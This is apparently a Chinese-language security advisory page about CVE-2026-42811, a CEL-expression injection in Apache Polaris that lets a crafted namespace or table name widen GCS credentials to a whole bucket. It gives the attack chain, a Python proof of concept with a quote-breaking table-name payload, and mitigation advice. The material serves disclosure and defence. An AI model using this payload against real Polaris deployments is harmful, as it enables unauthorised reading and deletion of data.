IPBUF安全漏洞报告
English
CVE-2026-42811 CVSS 9.9 严重

CVE-2026-42811 Apache Polaris凭证权限绕过漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42811
漏洞类型
注入
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache Polaris

相关标签

Apache Polaris注入访问控制绕过GCS权限提升CVE-2026-42811

漏洞概述

Apache Polaris是一款旨在管理数据目录的服务,其在处理Google Cloud Storage (GCS)凭证时存在严重漏洞。由于在构建Credential Access Boundary (CAB)的CEL条件表达式时,未对用户提供的命名空间或表名进行严格转义,攻击者可利用精心构造的标识符注入恶意代码。这导致系统颁发的短期凭证绕过了原本的路径限制,获得了整个存储Bucket的访问权限。攻击者借此可读取、修改或删除非授权数据,严重影响数据机密性与完整性。

技术细节

该漏洞的核心在于Apache Polaris生成GCS下级凭证的逻辑缺陷。Polaris通过构建包含CEL(Common Expression Language)条件的凭证访问边界(CAB)来限制凭证仅能访问特定表的存储路径。然而,在当前代码实现中,从命名空间和表标识符派生出的路径被直接拼接到CEL表达式的字符串中,未进行任何转义处理。攻击者可以通过创建包含单引号(')等特定字符的命名空间或表名,闭合原有的字符串定界符,从而改变CEL表达式的逻辑结构。例如,注入逻辑可使路径检查条件永远为真或失效,导致CEL路径限制实际上被移除。经测试确认,在Polaris 1.4.0版本中,利用此漏洞返回的委托凭证不仅限于访问其他表,还能对Bucket内任意前缀的对象执行列表、读取、创建及删除操作,实现了从单表访问到全Bucket访问的权限提升。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标环境中运行着Apache Polaris服务,并确认其后端存储使用了Google Cloud Storage (GCS)。
STEP 2
2. 构造恶意Payload
攻击者设计一个特殊的表名或命名空间,其中包含单引号(')等特殊字符,旨在闭合CEL表达式中的字符串并注入恶意逻辑片段。
STEP 3
3. 触发漏洞利用
攻击者向Polaris发送请求,请求访问或创建包含恶意名称的表。这迫使Polaris生成GCS凭证。
STEP 4
4. 凭证权限提升
Polaris在构建Credential Access Boundary (CAB)时,由于未转义输入,将恶意名称拼接到CEL表达式中,导致路径限制失效,返回了权限过大的委托凭证。
STEP 5
5. 未授权访问
攻击者利用返回的凭证,访问Bucket内原本受限的其他表数据,甚至对整个Bucket进行读写删操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-42811 # This script demonstrates how a crafted table name can be used to inject logic into the CEL expression. import requests def exploit_polaris_cel_injection(target_url, namespace): # The payload includes a single quote to break out of the string context. # The goal is to neutralize the path restriction or broaden it. # Example payload assuming the logic is: startswith("bucket/" + table_name + "/") # Injecting: ' + '' + ' results in startswith("bucket/" + "" + "/") -> startswith("bucket/") # This grants access to the root of the bucket (or broader scope depending on implementation). crafted_table_name = "normal' + '' + '" print(f"[*] Attempting to create/access table with crafted name: {crafted_table_name}") # Construct the request payload payload = { "namespace": namespace, "name": crafted_table_name } try: # Simulate the API call to request credentials or create table response = requests.post(f"{target_url}/api/v1/v1/catalogs/tables", json=payload) if response.status_code == 200: data = response.json() # If vulnerable, the returned token might have broader permissions print("[+] Request successful. Check if the returned GCS credentials have bucket-level access.") print(f"[+] Response snippet: {data.get('credentials', 'N/A')}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {str(e)}") # Usage # exploit_polaris_cel_injection("http://target-polaris-instance", "default")

影响范围

Apache Polaris 1.4.0

防御指南

临时缓解措施
在应用补丁前,应严格限制Apache Polaris服务账号在GCS上的IAM权限,遵循最小权限原则,避免授予Bucket级别的管理员或写入权限,同时监控异常的表名创建请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表